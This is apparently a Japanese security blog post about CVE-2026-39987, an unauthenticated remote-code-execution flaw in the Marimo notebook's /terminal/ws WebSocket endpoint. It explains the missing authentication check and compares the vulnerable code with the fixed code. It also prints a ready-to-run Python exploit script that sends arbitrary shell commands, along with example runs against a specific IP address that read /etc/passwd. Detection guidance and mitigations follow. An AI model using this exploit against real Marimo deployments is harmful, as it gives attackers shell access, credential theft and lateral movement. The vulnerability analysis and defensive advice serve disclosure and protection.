概要
Marimoの重大なセキュリティ脆弱性により、認証前のリモートコード実行(RCE) が公開されたWebSocketターミナルエンドポイント(/terminal/ws)を通じて可能になります。問題は、pty.fork()を使用してPTYバックアップシステムシェルを生成する前に、認証および認可強制が欠落している ことが原因です。これにより、認証されていない攻撃者がシステムレベルターミナルに直接アクセスできます。脆弱な展開では、これによりシステム全体の侵害が発生し、データ流出、横展開、およびコンテナまたはホストの乗っ取りの可能性が生じます。
この脆弱性は、AI開発および機械学習を中心としたプラットフォームとして機能し、モデル、データセット、コード、ツールなどのAIアセットがコミュニティで共有されるハブとして機能するHugging Face Spaces上でホストされているNKAbuse マルウェアの配信に使用されています。Hugging Face Spacesは、ユーザーがGitリポジトリから直接インタラクティブなWebアプリをデプロイして共有することを可能にします。通常、AIに関連するデモ、ツール、または実験用です。
Marimoとは?
Marimoは最新のPythonノートブックフレームワークであり、Jupyter Notebookの代替として、開発者とデータサイエンティストがインタラクティブなアプリケーションを構築する方法を改善するために設計されています。
次のことに焦点を当てています:
- リアクティブなPython実行 → 依存関係が変更されると、セルは自動的に更新されます
- 共同編集 → 複数のユーザーが同じノートブック上で作業できます
- インタラクティブなデータワークフロー → ML、分析、実験に理想的です
Marimoが重要な理由は?
Marimoは単なるノートブックではなく、実際の本番環境のような環境の一部であることが多いです。
広く使用されている用途:
- データサイエンス&機械学習実験
- AI/LLMプロトタイピング
- 内部分析ダッシュボード
- 研究およびエンジニアリングワークフロー
通常、どこにデプロイされていますか?
現実のシナリオでは、Marimoは一般的に:
- 内部または外部ネットワークに公開されている (コラボレーション用)
- コンテナ(Docker/Kubernetes)内で実行されている
- 機密リソースに接続されている、例えば:
- データベース
- クラウドAPI
- 内部サービス
- .envファイルとシークレット
これが高リスクである理由は?
その使用方法と場所のため、Marimoは高価値のターゲットになります。
Marimoの脆弱性は危険です。理由は:
1. 機密データへの直接アクセス
攻撃者は次にアクセスできます:
- APIキー
- クラウド認証情報
- 内部データセット
2. 実行環境 = 実際のシステムアクセス
シンプルなWebアプリとは異なり、Marimo:
- 実際のPythonコードを実行します
- ファイルシステムアクセスを持っています
- システムコマンドを実行できます
これはRCEは完全なシステム侵害に等しいことを意味します。
3. 多くの場合、高い権限で実行されます
多くのデプロイメント(特にDocker)では:
- ルートとして実行されます
- ホストリソースへのアクセスを持っています
4. 内部インフラストラクチャへのゲートウェイ
- ネットワーク内で横展開します
- データベースと内部APIにアクセスします
- 他のサービスへピボットします
CVE-2026-39987とは?
CVE-2026-39987 は、このセキュリティの問題に割り当てられた一意の識別子(Common Vulnerabilities and Exposures ID)です。
CVE は、一般公開されたサイバーセキュリティ脆弱性を追跡するために世界中で使用される標準化されたIDです。
簡単に言うと:
- CVE = セキュリティ脆弱性の身分証明書
- セキュリティチーム、ベンダー、研究者が同じ問題を一貫して参照するのに役立ちます
CVE-2026-39987の場合:
これはMarimoのシステムターミナルエンドポイントの重大な認証前RCE脆弱性を指します。以下の場合:
- 認証がありません
- PTYを介してターミナルセッションが作成されます
- リモート攻撃者がログインなしでシステムコマンドを実行できます
影響を受けるバージョン
- Marimo ≤ 0.22.x (セキュリティ修正前のすべてのバージョン)
- 認証制御なしで/terminal/wsを公開するすべてのデプロイメント
- コンテナ化および自己ホストデプロイメント、特に公開到達可能な場合に影響を受けます
根本原因分析:ターミナルWebSocketの欠落認証
Marimoの脆弱性は、特定のWebSocketエンドポイントの重大な認証ギャップが原因です:
/terminal/ws
コードレベルの説明
脆弱な実装
@router.websocket("/terminal/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close()
return
if not supports_terminal():
await websocket.close()
return
# 認証チェックがありません
await websocket.accept()
child_pid, fd = pty.fork() # PTYシェルを作成
ここで何が起きていますか?
- サーバーチェック:
- アプリが編集モードにあるかどうか
- システムがターミナル(PTY)をサポートしているかどうか
- しかし、それは認証を完全にスキップします
- 直接呼び出します:
websocket.accept()
- 次に:
pty.fork()
→ これは実際のシステムシェルを生成します
セキュアな実装
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
これが重要な理由:
- validate_auth()は以下を確保します:
- 有効なセッション/トークン
- 認可されたユーザー
- これなし → 誰でも接続できます
コアセキュリティの欠陥
認証はWebSocketエンドポイント全体で一貫性なく強制されます
- /ws → 保護されます
- /terminal/ws → 保護されません
これは認証バイパス脆弱性を作成します
より深いテクニカル分析
1. WebSocketセキュリティモデルの誤解
開発者はしばしば次のように仮定します:
「認証ミドルウェアがすべてを保護します」
しかし、WebSocketでは:
- 接続はHTTP → その後アップグレードとして開始します
- アップグレード後 → 永続チャネルです
- ミドルウェアはアクセス制御を自動的に強制しません
セキュリティは各エンドポイント内で強制される必要があります
2. ミドルウェア制限(重大な洞察)
Marimoは以下を使用します:
→ AuthenticationMiddleware(Starletteから)
しかし、このミドルウェア:
- ユーザーを識別します(認証/未認証)
- WebSocket接続をブロックしません
したがって:
認証されていないユーザー → 接続を許可します
エンドポイントが明示的にブロックしない限り。
3. 欠落した強制メカニズム
- validate_auth()
- @requires(“edit”)デコレータ
- 手動認可チェック
結果:ゼロアクセス制御
4. 危険な機能が公開されます
エンドポイントはデータを返すだけではなく、以下を提供します:
pty.fork()
これは以下を意味します:
- 実際のOS レベルシェルが作成されます
- コマンドはシステムで実行されます
これは問題を即座のRCEに変えます
攻撃チェーンの内訳

1. WebSocketエンドポイントに接続します
攻撃者はWebSocket接続を開始します:
ws://TARGET:2718/terminal/ws
- 認証トークンは必要ありません
- セッションまたはクッキーは必要ありません
- エンドポイントは、公開された展開で公開到達可能です
これは攻撃のエントリーポイントです
2. 接続受け入れ(認証なし)
サーバーはWebSocket要求を処理します:
- 認証を検証しません
- 直接websocket.accept()を呼び出します
- 攻撃者を正当なクライアントとして扱います
これはエンドポイントが認証チェック全体をスキップするため発生します
3. PTYシェルが生成されます
接続を受け入れた後:
- サーバーはpty.fork()を実行します
- 新しいインタラクティブターミナルセッション が作成されます
- 攻撃者は/bin/shまたは同様のシェルに接続されます
この段階では、攻撃者は完全なシェルアクセスを取得します
4. 任意のコマンドを実行します
攻撃者はWebSocketを通じてコマンドを送信できるようになりました:
例:
id
whoami
ls -la
cat /etc/passwd
- コマンドはMarimoプロセスと同じ権限で実行されます
- 多くの場合 → ルートアクセス(Dockerデフォルト)
これは完全なリモートコード実行(RCE)になります
悪用
Marimoの脆弱性は、単純なWebSocketクライアントを使用して悪用できます。/terminal/wsエンドポイントは認証を必要としないため、攻撃者は直接接続を確立して任意のコマンドを実行できます。
Pythonエクスプロイトスクリプト
import websocket
import sys
import time
if len(sys.argv) != 3:
print(f"Usage: python3 {sys.argv[0]} ")
print(f"Example: python3 {sys.argv[0]} http://62.171.163.130:808 'id && whoami'")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
# Convert http -> ws automatically
ws_url = target.replace("http://", "ws://").replace("https://", "wss://") + "/terminal/ws"
ws = websocket.WebSocket()
ws.connect(ws_url)
time.sleep(2)
# 初期出力をドレインします
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# コマンドを実行します
ws.settimeout(10)
ws.send(cmd + "\n")
time.sleep(2)
try:
while True:
print(ws.recv(), end="")
except:
pass
ws.close()
エクスプロイトがどのように機能するか
1. ターゲットの準備
- スクリプトは以下を取得します:
- ターゲットURL(HTTP/HTTPS)
- 実行するコマンド
- 自動的に変換されます:
http → ws
https → wss
2. WebSocket接続
ws.connect(ws_url)
- 以下に接続します:
ws://TARGET:PORT/terminal/ws
- 認証は不要です
3. セッション初期化
ws.recv()
- 初期ターミナル出力(バナー/ノイズ)をクリアします
- クリーンなコマンド実行のために準備します
4. コマンド実行
ws.send(cmd + "\n")
- 任意のシステムコマンドを送信します
- 生成されたPTYシェルで直接実行されます
5. 出力取得
print(ws.recv())
- コマンド出力を返します
- 実際のインタラクティブシェルのように機能します
python3 ex.py http://62.171.163.130:8080 "id && whoami && hostname &&cat /etc/passwd"

Nucleiテンプレート(自動検出)
カスタムテンプレートでNucleiを使用してこの脆弱性を検出できます:
テンプレートソース:
https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml
nuclei -u http://62.171.163.130:8080/ -t Marimo-rce.yaml

影響
この影響は、Marimoの認証前のリモートコード実行(RCE) 脆弱性の最悪のシナリオを表しています:
- 認証前のリモートコード実行(RCE)
攻撃者は認証なしに任意のシステムコマンドを実行でき、攻撃の複雑さが低いため、システム全体の侵害につながります。 - 完全なデータ流出(ディスク+メモリ)
攻撃者はノートブック、環境変数、SSHキー、APIトークン、クラウド認証情報を含む機密アーティファクトにアクセスできます。 - 内部インフラストラクチャ内での横展開
侵害されたノートブックホストは、データベース、オブジェクトストレージ、内部API、および隣接するサービスにネットワークアクセスできることが多く、環境全体でピボットできます。 - 永続性とポスト悪用制御
攻撃者は、システム権限に応じて、cronジョブ、スタートアップスクリプト、またはインジェクトされたPython実行パスを通じて永続性を確立する場合があります。 - コンテナまたはホスト侵害エスカレーションリスク
コンテナ化されたデプロイメントでは、RCEはコンテナブレークアウト試行、または特権構成が存在する場合の直接ホスト侵害につながる可能性があります。 - 機密AI/データサイエンスワークロード露出
Marimoはml/AIワークフローで一般的に使用されるため、攻撃者は独自のモデル、データセット、および研究ロジックへのアクセスを獲得する場合があります。 - インフラストラクチャ全体のセキュリティインシデント可能性
単一のノートブックインスタンスの露出は、共有計算クラスタ、CIパイプライン、または内部開発者環境に影響を与えるより広いセキュリティインシデントにカスケードする可能性があります。
軽減策
- 即座のアップグレード
バージョン0.23.0以上 (またはWebSocket認証問題が解決された最新の修正リリース)にパッチします。 - 信頼できないネットワークに公開しない
公開を避けます。VPN、プライベートサブネット、踏み台ホスト、または厳密なアクセス制御を備えた認証されたリバースプロキシを使用します。 - ネットワークバインディング制限
明示的に必要で、強力なネットワークレベルコントールとファイアウォール規則で保護されていない限り、0.0.0.0にサービスをバインドしないでください。 - コンテナおよびランタイムハードニング
非rootとして実行し、不要なLinux機能を削除し、最小限のベースイメージを適用します。注:認証前RCEの場合、コンテナハードニングは主要防御ではなく、セカンダリレイヤーです。 - シークレット管理衛生
ノートブック環境を高リスクとして扱います。.envファイルまたは本番認証情報の保存を避けます。露出が疑われる場合は、シークレットをすぐにローテーションします。 - 監視と検出
WebSocket活動を監視して/terminal/wsをターゲットにし、異常なシェルスポーニング、異常なプロセスツリー、および予期しないアウトバウンドネットワーク接続を検出します。 - 侵害と仮定し、積極的にハントする
ログが初期エクスプロイトを示していない場合でも、ポスト悪用アーティファクト、永続性メカニズム、および横展開指標を調査します。
結論
CVE-2026-39987 として追跡される脆弱性は、Marimoの重大なセキュリティの失敗を強調しています。高リスクのWebSocketエンドポイントで適切な認証および認可制御が欠落しています。
/terminal/wsをアクセス制御なしで公開することにより、Marimoは攻撃者に完全にインタラクティブなシステムシェルへの直接パスを意図せずに提供します。これは単純な誤設定を重大な認証前のリモートコード実行(RCE) 脆弱性に変えます。実世界の影響は深刻です。
この問題を特に危険にしているのは、欠陥自体ではなく、Marimoが運用されるコンテキストです:
- 機密データとシークレットとの近接性
- 内部インフラストラクチャとの統合
- 特権またはコンテナ化された環境での頻繁なデプロイメント
その結果、悪用は単一のホストに限定されず、より広いインフラストラクチャ侵害にすばやくエスカレートできます。
このケースはまた、重要なセキュリティレッスンを強化します:
WebSocketエンドポイントは認証と認可を明示的に強制する必要があります。ミドルウェアだけでは十分ではありません。
Marimoを使用している組織は、この脆弱性をアクティブなインシデントリスクとして扱うべきです。理論的な問題ではありません。潜在的な損傷を軽減するために、即座のパッチ、厳密なアクセス制御、および積極的な脅威ハントが不可欠です。